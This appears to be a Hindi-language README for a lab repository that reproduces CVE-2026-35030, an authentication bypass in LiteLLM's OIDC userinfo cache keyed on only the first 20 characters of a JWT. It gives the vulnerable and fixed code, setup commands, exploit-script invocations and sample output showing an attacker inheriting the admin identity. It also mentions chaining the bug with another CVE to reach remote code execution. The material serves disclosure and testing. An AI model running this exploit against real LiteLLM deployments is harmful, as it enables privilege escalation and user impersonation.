
संबंधित कमजोरी को व्यक्तिगत रूप से पुन: उत्पन्न करने के लिए कोड
LiteLLM OIDC userinfo कैश
token[:20]को कैश की के रूप में उपयोग करता है। एक ही एल्गोरिदम से हस्ताक्षरित दो अलग-अलग JWT समान प्रथम 20 वर्ण उत्पन्न करते हैं, जिससे एक अप्रमाणित हमलावर दूसरे उपयोगकर्ता की कैश की गई पहचान और अनुमतियाँ प्राप्त कर सकता है।
| फ़ील्ड | मान |
|---|
| CVE | CVE-2026-35030 |
| CVSS v4.0 | 9.4 (गंभीर) — CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N |
| CVSS v3.1 | 9.1 (गंभीर) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-287 (अनुचित प्रमाणीकरण) / CWE-222 (अपर्याप्त रूप से संरक्षित क्रेडेंशियल) |
| प्रभावित | LiteLLM < 1.83.0 (enable_jwt_auth: true के साथ) |
| फिक्स | v1.83.0+ (कैश की sha256(token) में बदल दी गई) |
| प्रकाशित | 2026-04-06 |
| खोजकर्ता | Veria Labs |
| लिंक | GHSA-jjhc-v7c2-5hh6 • NVD • GitLab Advisory |
LiteLLM एक AI गेटवे / प्रॉक्सी सर्वर है जो LLM API को कॉल करने के लिए उपयोग किया जाता है। जब JWT प्रमाणीकरण सक्षम होता है (enable_jwt_auth: true), LiteLLM टोकन को OIDC प्रदाता के विरुद्ध मान्य करता है और userinfo प्रतिक्रिया को कैश करता है।
कमजोरी: कैश की JWT के केवल प्रथम 20 वर्ण का उपयोग करती है:
# कमजोर कोड (पूर्व-1.83.0)
cache_key = token[:20] # केवल पहले 20 अक्षर!
एक JWT तीन base64url-एन्कोडेड खंडों से बना होता है जो बिंदुओं द्वारा अलग होते हैं:
<header>.<payload>.<signature>
हेडर (जैसे, {"alg":"RS256","typ":"JWT"}) समान हस्ताक्षर एल्गोरिदम का उपयोग करने वाले सभी टोकन के लिए समान रूप से एन्कोड होता है। इसका अर्थ है कि दो अलग-अलग JWT — पूरी तरह से अलग-अलग उपयोगकर्ताओं को जारी — के समान प्रथम 20 वर्ण होंगे।
1. व्यवस्थापक प्रमाणित करता है → LiteLLM userinfo प्राप्त करता है → कुंजी के साथ कैश करता है = token[:20]
↑
2. हमलावर समान एल्गोरिदम (RS256) के साथ JWT बनाता है ───────────┘
→ token[:20] समान है → कैश हिट → व्यवस्थापक की पहचान प्राप्त करता है
एंटरप्राइज़ लाइसेंसिंग पर नोट: JWT/OIDC प्रमाणीकरण LiteLLM में केवल एंटरप्राइज़ सुविधा है (
LITELLM_LICENSEकी आवश्यकता है)। स्थानीय CVE पुनरुत्पादन के लिए, दोनों Dockerfilepremium_userजाँच कोTrueपर पैच करते हैं। यह कमजोरी को प्रभावित नहीं करता — कैश कुंजी टकराव (token[:20]) एंटरप्राइज़ जाँच से स्वतंत्र रूप से मौजूद है।पहला स्टार्टअप Prisma माइग्रेशन चलाता है (~60-90 सेकंड)। LiteLLM तब तैयार होगा जब लॉग में
"Uvicorn running on http://0.0.0.0:4000"दिखाई दे।
# 1. कमजोर LiteLLM + नकली OIDC प्रदाता बनाएं और शुरू करें
docker compose up -d --build
# 2. Python निर्भरताएँ स्थापित करें
pip install -r requirements.txt
# 3. परीक्षण उपयोगकर्ता बनाएं (JWT प्रमाणीकरण के लिए आवश्यक — मास्टर कुंजी चाहिए)
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "admin", "role": "proxy_admin"}'
curl -s -X POST http://localhost:4000/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "attacker", "role": "proxy_admin"}'
# 4. कैश कुंजी टकराव प्रदर्शित करें
python3 exploit/exploit.py --mode demo
# 5. पूर्ण शोषण चलाएं (कैश टकराव के माध्यम से प्रमाणीकरण बाइपास)
python3 exploit/exploit.py --mode exploit --target http://localhost:4000
# 6. (वैकल्पिक) सत्यापित करें कि v1.83.0+ में यह ठीक किया गया है
docker compose --profile fixed up -d --build litellm-fixed
python3 exploit/exploit.py --mode exploit --target http://localhost:4001 --fixed
डेमो मोड — कैश कुंजी टकराव दिखाता है:
[+] व्यवस्थापक JWT (विषय=admin):
टोकन: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
उपसर्ग: 'eyJhbGciOiJSUzI1NiIs'
[+] हमलावर JWT (विषय=attacker):
टोकन: eyJhbGciOiJSUzI1NiIsImtpZCI6Im1vY2stb2lkYy1rZXktMDAxIiwidHlw...
उपसर्ग: 'eyJhbGciOiJSUzI1NiIs'
[🔥] टकराव: दोनों टोकन के पहले 20 वर्ण समान हैं!
कारण: दोनों टोकन RS256 हस्ताक्षर का उपयोग करते हैं → समान JWT हेडर base64 → समान पहले 20 वर्ण
→ cache_key = token[:20] = 'eyJhbGciOiJSUzI1NiIs'
शोषण मोड — वास्तविक प्रमाणीकरण बाइपास प्रदर्शित करता है:
[कमजोर] शोषण प्रयास — लक्ष्य: http://localhost:4000
[*] चरण 1: OIDC प्रदाता से JWT प्राप्त करना...
उपसर्ग टकराव: हाँ
[*] चरण 2: व्यवस्थापक JWT को LiteLLM पर भेजना (OIDC कैश भरता है)...
HTTP 200
प्रतिक्रिया: {"user_id": "admin", ...}
[*] चरण 3: हमलावर JWT भेजना (कैश टकराव का प्रयास)...
HTTP 200
प्रतिक्रिया: {"user_id": "admin", ...} ← व्यवस्थापक विरासत में मिला!
[🔥] शोषण सफल! हमलावर ने व्यवस्थापक की पहचान प्राप्त कर ली!
हमलावर के token[:20] व्यवस्थापक की कैश कुंजी से मेल खाते हैं।
प्रतिक्रिया user_id='admin' (वृद्धि के लिए 'admin' अपेक्षित)
फिक्स किया गया संस्करण — sha256 कैश कुंजी टकराव को रोकता है:
[ठीक किया गया] शोषण प्रयास — लक्ष्य: http://localhost:4001
[*] चरण 1: OIDC प्रदाता से JWT प्राप्त करना...
उपसर्ग टकराव: हाँ
[*] चरण 2: व्यवस्थापक JWT को LiteLLM पर भेजना (OIDC कैश भरता है)...
HTTP 200
प्रतिक्रिया: {"user_id": "admin", ...}
[*] चरण 3: हमलावर JWT भेजना (कैश टकराव का प्रयास)...
HTTP 200
प्रतिक्रिया: {"user_id": "attacker", ...} ← अपनी पहचान संरक्षित
[+] हमलावर user_id='attacker' के रूप में पहचाना गया।
फिक्स किया गया संस्करण: कैश टकराव रोका गया।
litellm/proxy/auth/handle_jwt.py में, OIDC userinfo
कैश token[:20] द्वारा कुंजीबद्ध है:
# कमजोर (पूर्व-1.83.0) — litellm/proxy/auth/handle_jwt.py
cache_key = f"oidc_userinfo_{token[:20]}" # केवल पहले 20 अक्षर!
cached_userinfo = await user_api_key_cache.async_get_cache(cache_key)
if cached_userinfo is not None:
return cached_userinfo # कैश हिट → userinfo प्राप्त करना छोड़ें!
# फिक्स (v1.83.0+) — वही फ़ाइल, पंक्ति 625
import hashlib
cache_key = f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
token[:20] अपर्याप्त क्यों है| टोकन घटक | उपयोगकर्ता-विशिष्ट डेटा शामिल करता है? | समान एल्गोरिदम के लिए स्थिर? |
|---|---|---|
| हेडर (पहले ~30 वर्ण) | ❌ नहीं | ✅ हाँ — समान base64 |
| पेलोड (उपयोगकर्ता-विशिष्ट) | ✅ हाँ | ❌ नहीं — प्रति उपयोगकर्ता अद्वितीय |
| हस्ताक्षर | ✅ हाँ | ❌ नहीं — प्रति कुंजी अद्वितीय |
चूंकि हेडर ही एकमात्र भाग है जो पहले 20 वर्णों के भीतर आता है, और हेडर समान हस्ताक्षर एल्गोरिदम का उपयोग करने वाले सभी टोकन के लिए समान होता है, इसलिए एक ही जारीकर्ता से प्रत्येक RS256 JWT के बिल्कुल समान पहले 20 वर्ण होते हैं।
| परिदृश्य | विवरण |
|---|---|
| विशेषाधिकार वृद्धि | निम्न-विशेषाधिकार वाला उपयोगकर्ता कैश टकराव के माध्यम से व्यवस्थापक बन जाता है |
| क्षैतिज प्रतिरूपण | किसी भी उपयोगकर्ता का प्रतिरूपण करें जिसका userinfo कैश किया गया है |
| प्रमाणीकरण बाइपास श्रृंखला | RCE प्राप्त करने के लिए CVE-2026-35029 के साथ संयोजित करें |
CVE-2026-35030/
├── README.md # यह फ़ाइल
├── docker-compose.yml # कमजोर + फिक्स किया गया LiteLLM + नकली OIDC
├── litellm_config.yaml # JWT प्रमाणीकरण सक्षम के साथ LiteLLM कॉन्फ़िगरेशन
├── requirements.txt # Python निर्भरताएँ (PoC)
├── litellm-vuln/
│ └── Dockerfile # एंटरप्राइज़ पैच के साथ कमजोर LiteLLM v1.82.5
├── litellm-fixed/
│ └── Dockerfile # sha256 कैश कुंजी के साथ फिक्स किया गया LiteLLM v1.83.0+
├── oidc-provider/
│ ├── Dockerfile # नकली OIDC प्रदाता इमेज
│ ├── requirements.txt
│ └── server.py # OIDC नकली (FastAPI)
├── exploit/
│ ├── exploit.py # मुख्य PoC शोषण स्क्रिप्ट
│ └── token_forge.py # JWT टकराव उपयोगिताएँ
├── docs/
│ └── advisory.md # सलाहकार संदर्भ
└── screenshots/
└── README.md # प्रूफ स्क्रीनशॉट प्लेसहोल्डर
sha256(token) का उपयोग करती है)enable_jwt_auth: falseअस्वीकरण: यह सामग्री शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान की गई है।